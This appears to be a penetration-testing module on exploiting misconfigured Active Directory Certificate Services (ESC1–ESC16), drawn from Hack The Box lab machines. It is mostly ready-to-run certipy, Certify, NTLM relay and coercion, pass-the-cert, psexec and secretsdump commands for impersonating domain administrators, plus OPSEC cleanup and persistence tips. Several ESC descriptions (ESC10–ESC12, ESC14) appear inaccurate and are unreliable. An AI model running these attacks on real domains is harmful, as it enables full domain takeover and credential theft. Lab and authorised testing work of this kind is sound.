Back to All Modules

ADCS Exploitation (ESC1-ESC16)

#Overview

Active Directory Certificate Services (ADCS) is Microsoft's PKI implementation for enterprise environments. When misconfigured, certificate templates allow low-privileged users to request certificates for high-privileged accounts, including Domain Administrators. The ESC (ESCalation) taxonomy covers 15+ distinct ADCS misconfiguration classes. Certificates obtained via ADCS abuse provide Kerberos TGT retrieval (via PKINIT) and NTLM hash extraction, bypassing password-based authentication entirely.

#Prerequisites

  • A domain user account (any privilege level)
  • ADCS installed and accessible on the target domain
  • certipy or Certify on Windows
  • For some ESC scenarios: specific ACLs, computer accounts, or CA access rights

#Tool Note: certipy vs certipy-ad

# certipy-ad is the 2024+ maintained fork — the original certipy by ly4k is archived
# Install: pip install certipy-ad  (command is still 'certipy')
# certipy-ad find -enabled flag: filter for enabled certificate templates only
certipy find -u user@domain.local -p pass -dc-ip 10.10.10.10 -enabled
TEXT

#Detection & Enumeration

#Verify ADCS Presence

# netexec LDAP module
netexec ldap 10.10.11.69 -u 'winrm_svc' -H <hash> -M adcs
# Output: Found PKI Enrollment Server: DC01.fluffy.htb

# certipy find — comprehensive ADCS enumeration
certipy find -u svc_ldap@authority.htb -p 'lDaP_1n_th3_cle4r!' -dc-ip 10.10.11.222 -vulnerable
# Flags all ESC scenarios automatically
# -vulnerable: only show templates with known ESC vulnerabilities

# With NTLM hash
certipy find -u ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 -vulnerable -stdout

# certipy with debug for troubleshooting
certipy find -u user@domain -p 'pass' -dc-ip <DC> -vulnerable -enabled -stdout

# Windows on-host enumeration
.\Certify.exe cas          # list certificate authorities
.\Certify.exe find /vulnerable  # find vulnerable templates
.\Certify.exe find             # enumerate all templates

# Certify.exe — On-host ADCS enumeration (Windows, no Python needed)
.\Certify.exe find /vulnerable /current-domain    # Domain-scoped vulnerable template search
.\Certify.exe find /vulnerable                     # Local forest search
.\Certify.exe find /enabled                        # List enabled templates
BASH

#Key Certificate Template Properties

PropertyMeaningESC Relevance
ENROLLEE_SUPPLIES_SUBJECTRequester can specify SANESC1, ESC9
Client Authentication EKUCertificate usable for domain authESC1-ESC4
Any Purpose EKUNo EKU restrictionsESC2
Certificate Request Agent EKUAct as enrollment agentESC3
Schema Version 1Old template (pre-2008)ESC3, ESC15
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTAlternative subject flagESC9
EDITF_ATTRIBUTESUBJECTALTNAME2CA-level flagESC6

#Exploitation / Execution

#ESC1: Enrollee Supplies Subject + Client Authentication

The most common ADCS vulnerability. Any authenticated user can request a certificate for an arbitrary user (e.g., Administrator) by specifying a UPN in the SAN.

# Scenario: CorpVPN template allows Domain Computers to enroll, supplies subject, Client Auth EKU
# From Authority HTB:
# 1. Add a computer account (MachineAccountQuota check first)
netexec ldap 10.10.11.222 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M MAQ
# MachineAccountQuota: 10 (default)

addcomputer.py 'authority.htb/svc_ldap' -method LDAPS -computer-name 'EVIL01' \
  -computer-pass 'Str0ng3st_P@ssw0rd!' -dc-ip 10.10.11.222

# 2. Request certificate as Administrator
certipy req -username EVIL01$ -password 'Str0ng3st_P@ssw0rd!' -ca AUTHORITY-CA \
  -dc-ip 10.10.11.222 -template CorpVPN -upn administrator@authority.htb \
  -dns authority.htb -debug

# Scenario: UserAuthentication template with ENROLLEE_SUPPLIES_SUBJECT
# From Escape HTB:
certipy req -u ryan.cooper@sequel.htb -p NuclearMosquito3 \
  -upn administrator@sequel.htb -target sequel.htb -ca sequel-dc-ca \
  -template UserAuthentication

# 3. Authenticate with the certificate
# Standard PKINIT (requires DC supporting PKINIT)
certipy auth -pfx administrator.pfx
# Output: NT hash for 'administrator': <hash>

# Fallback: PassTheCert (if DC doesn't support PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.222 -ldap-shell
BASH

#ESC2: Subordinate CA / Any Purpose EKU

If a template has Any Purpose EKU or acts as a subordinate CA, any certificate from it can be used for any purpose including client authentication.

certipy req -u user@domain -p 'pass' -ca <CA_NAME> -dc-ip <DC> \
  -template <template_with_any_purpose> -upn administrator@<domain>
certipy auth -pfx administrator.pfx
BASH

#ESC3: Enrollment Agent Abuse

A user with enrollment agent certificate + access to a Client Auth template can request certificates on behalf of other users.

# 1. Request enrollment agent certificate
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
  -template <enrollment_agent_template>

# 2. Use agent certificate to request certificate for Administrator
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
  -template <user_template> -on-behalf-of '<domain>\Administrator' \
  -pfx <agent_cert.pfx>
certipy auth -pfx administrator.pfx
BASH

#ESC4: Weak Template ACLs (WriteProperty on Template)

If a user has WriteProperty or FullControl over a certificate template, they can modify it to add vulnerable settings (ENROLLEE_SUPPLIES_SUBJECT, Client Authentication EKU).

# 1. Modify the template to be vulnerable
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
  -save-old

# 2. Enable enrollee supplies subject + client auth
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
  -enable-enrollee-supplies-subject -add-eku 'Client Authentication'

# 3. Exploit as ESC1
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
  -template <template_name> -upn administrator@<domain>

# 4. Restore template (OPSEC cleanup)
certipy template -u user@domain -p 'pass' -dc-ip <DC> -template <template_name> \
  -restore
BASH

#ESC5: Vulnerable PKI AD Object Access

When PKI-related objects in AD have weak ACLs (CA server, NTAuthCertificates, etc.).

#ESC6: CA Has EDITF_ATTRIBUTESUBJECTALTNAME2 Flag

The CA itself allows specifying arbitrary SANs regardless of template settings.

# Request with arbitrary upn even if template doesn't allow SAN
certipy req -u user@domain -p 'pass' -ca <CA> -dc-ip <DC> \
  -template <any_auth_template> -upn administrator@<domain>
# Works because the CA flag overrides template restrictions
BASH

#ESC7: ManageCA or ManageCertificates on CA

Users with ManageCA or ManageCertificates rights on the CA can:

  • Edit the CA to enable EDITF_ATTRIBUTESUBJECTALTNAME2 (then ESC6)
  • Issue pending/failed certificate requests

#ESC8: NTLM Relay to AD CS Web Enrollment

Relay NTLM authentication from a privileged user to the CA's web enrollment endpoint (certsrv).

# 1. Set up ntlmrelayx to target AD CS HTTP endpoint
ntlmrelayx.py -t http://<CA_SERVER>/certsrv/certfnsh.asp --no-smb-server \
  -ip <attacker_ip> --adcs --template <template_name>

# 2. Coerce privileged user to authenticate (PetitPotam, PrinterBug)
python3 PetitPotam.py -d <domain> -u <user> -p <pass> <attacker_ip> <dc_ip>

# 3. ntlmrelayx receives the relayed auth and requests certificate
# Output: .pfx certificate for the relayed user
BASH

#ESC9: No Security Extension + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

Similar to ESC1 but the template lacks the security extension (szOID_NTDS_CA_SECURITY_EXT). The attacker needs to modify their own user's UPN to match the target.

# From Certified HTB:
# 1. Change ca_operator's UPN to Administrator
certipy-ad account update -username management_svc@certified.htb \
  -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

# 2. Request certificate as ca_operator (now with UPN=Administrator)
certipy-ad req -username ca_operator@certified.htb \
  -hashes b4b86f45c6018f1b664f70805f45d8f2 \
  -ca certified-DC01-CA -template CertifiedAuthentication -debug
# Got certificate with UPN 'Administrator'

# 3. Restore original UPN
certipy-ad account update -username management_svc@certified.htb \
  -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator \
  -upn ca_operator@certified.htb

# 4. Authenticate
certipy-ad auth -pfx 'administrator.pfx' -domain 'certified.htb'
BASH

#ESC10: Weak Certificate Mapping

When the CA uses X509IssuerSubject (weak) mapping instead of SID extension (strong), a certificate with a crafted issuer/subject can impersonate any user.

#ESC11: Encryption Key Reuse with IF_ENABLE_RENEW

If encryption keys are reused for certificate renewal, an attacker with a valid certificate can recover keys.

#ESC12: Shell Access to CA with Shadow Admin

# If you have shell access to the CA server and enrollment rights to the CA certificate:
certipy req -u user@domain.local -p pass -ca CA-NAME -template CA -pfx ca.pfx
# Use the CA certificate for domain admin authentication:
certipy auth -pfx ca.pfx -dc-ip 10.10.10.10
TEXT

#ESC14: Weak Certificate Mapping + SID Correlation

# When strong certificate mapping is disabled and no security extension:
# Combine with SID injection via msDS-SID-Security-Identifier attribute
certipy req -u user@domain.local -p pass -ca CA-NAME -template ESC14 -sid S-1-5-21-...-500
TEXT

#ESC13: OID Group Link Abuse

Certificates with OID-based group linking can grant group membership through certificate issuance.

#ESC15: Schema V1 + Enrollee Supplies Subject (CVE-2024-49019)

Allows injecting arbitrary Application Policies into Schema V1 certificates. Requires unpatched CA (pre-November 2024).

# From TombWatcher HTB:
# WebServer template: EnrolleeSuppliesSubject + Schema V1 + not patched for CVE-2024-49019

# Scenario A: Inject Client Authentication to a Server Authentication template
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
  -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \
  -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
# Note: May fail if EKU mismatch prevents direct auth

# Scenario B: Inject Certificate Request Agent (works like ESC3)
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
  -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer \
  -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'

# Use agent cert to request on behalf of Administrator
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 \
  -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User \
  -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
BASH

#ESC16: Security Extension Disabled (from Fluffy)

The CA is globally configured to disable the szOID_NTDS_CA_SECURITY_EXT security extension. Combined with UPN modification, enables certificate-based impersonation.

# From Fluffy HTB:
# 1. Change ca_svc's UPN to administrator
certipy-ad account update -username "p.agila@fluffy.htb" -p "prometheusx-303" \
  -user ca_svc -upn 'administrator'

# 2. Request certificate as ca_svc (User template)
certipy-ad req -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
  -dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'

# 3. Restore UPN
certipy-ad account update -username "p.agila@fluffy.htb" -p "prometheusx-303" \
  -user ca_svc -upn 'ca_svc@fluffy.htb'

# 4. Authenticate with certificate
certipy-ad auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69
BASH

#certipy-ad shadow auto

# certipy-ad shadow auto — One-liner Shadow Credentials replacement
# Replaces the multi-step pywhisker + PKINITtools workflow
certipy shadow auto -u user@domain.local -p pass -dc-ip 10.10.10.10 -account target$
# This: 1) Adds KeyCredential to target 2) Requests TGT 3) Authenticates 4) Restores original KeyCredential
BASH

#Pass-the-Cert

Once you have a valid .pfx certificate file, authentication is straightforward:

# certipy auth — get TGT and NT hash
certipy auth -pfx administrator.pfx -domain '<domain>' -dc-ip <DC>
# Output: Saved credential cache to 'administrator.ccache'
#         NT hash for 'administrator': <hash>

# Use resulting hash for WinRM or PsExec
evil-winrm -i <target> -u administrator -H <nt_hash>
impacket-psexec administrator@<target> -hashes :<nt_hash>

# Direct TGT usage (Kerberos)
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass <domain>/administrator@<DC> -just-dc-ntlm
BASH

#BloodHound ADCS Edges

BloodHound CE (via RustHound or SharpHound) maps:

  • Enroll: user can enroll in a template
  • GenericAll / WriteOwner / WriteDacl on templates -> ESC4
  • ManageCA / ManageCertificates on CA -> ESC7
  • Template object controls -> ESC4 paths
// Find enrollable templates with ENROLLEE_SUPPLIES_SUBJECT
MATCH (u:User)-[:Enroll]->(ct:CertTemplate)
WHERE ct.EnrolleeSuppliesSubject = true AND ct.ClientAuthentication = true
RETURN u.name, ct.name
CYPHER

#Common Pitfalls

  • KDC_ERR_PADATA_TYPE_NOSUPP: The DC does not support PKINIT. Use PassTheCert for LDAP-based RBCD or the -ldap-shell option.
  • Certificate not valid for client authentication: The template lacks the Client Authentication EKU. Use ESC3 (enrollment agent) or target a different template.
  • Clock skew: Kerberos requires time within 5 minutes. Use sudo ntpdate -u <DC>.
  • DNS resolution failures: certipy needs DNS to resolve the CA. Ensure DC/Domain names are in /etc/hosts.
  • adminCount in template properties: Templates with adminCount=1 have restricted ACL inheritance.
  • KRB_AP_ERR_SKEW vs KDC_ERR_S_PRINCIPAL_UNKNOWN: Clock skew means your system time differs from DC. Sync with: ntpdate <dc-ip>
  • -dc-ip vs -target: -dc-ip bypasses DNS resolution (uses IP directly), -target resolves via DNS. Mixing causes confusing failures in split-brain DNS environments.
  • Python kerberos library conflicts: certipy requires python-krb5 but some Kali installs have both python-kerberos and python-krb5 which conflict. Fix: pip uninstall python-kerberos

#OPSEC Considerations

  • Certificate requests generate Event ID 4886 (Certificate Services received a request) and 4887 (Certificate issued)
  • UPN modifications to user accounts are logged as AD object changes
  • Adding key credentials (shadow credentials) modifies the target object
  • Certificate enrollment leaves behind issued certificates on the CA
  • New computer accounts (addcomputer.py) generate AD object creation events
  • Certificate-based authentication bypasses password logon events (no 4624 with password)
  • certipy template (ESC4) → Event ID 4898 (Certificate Services template security modified)
  • certipy ca (ESC7) → Event ID 4842 (Certificate Services security changed)
  • certipy LDAP queries → Event ID 4662 (Object Access) on DCs with advanced auditing
  • Sysmon Event ID 13 (Registry value set) for certipy template modifications

#Post-Exploitation Value

  • Direct NT hash extraction for Domain Admins
  • Kerberos TGT that can be used for DCSync
  • Bypasses MFA if certificate-based authentication is trusted
  • Long-lived certificates (years of validity) provide persistent access
  • Certificate can be used across forest trusts if properly configured

#Cross-References

#Tool References

ToolLink
certipyhttps://github.com/ly4k/Certipy
Certifyhttps://github.com/GhostPack/Certify
PKINITtoolshttps://github.com/dirkjanm/PKINITtools
PassTheCerthttps://github.com/AlmondOffSec/PassTheCert
Impackethttps://github.com/fortra/impacket

#Source Machines

  • Escape (Medium) — ESC1 via UserAuthentication template -> ryan.cooper -> admin certificate
  • Authority (Medium) — ESC1 via CorpVPN (Domain Computers enroll) -> machine account -> certificate -> DCSync
  • Fluffy (Easy) — ESC16 via security extension disabled -> ca_svc UPN change -> Administrator certificate
  • Certified (Medium) — ESC9 via CertifiedAuthentication template -> ca_operator UPN change -> Administrator
  • TombWatcher (Medium) — ESC15 via WebServer Schema V1 -> cert_admin -> certificate request agent -> User template on behalf of Administrator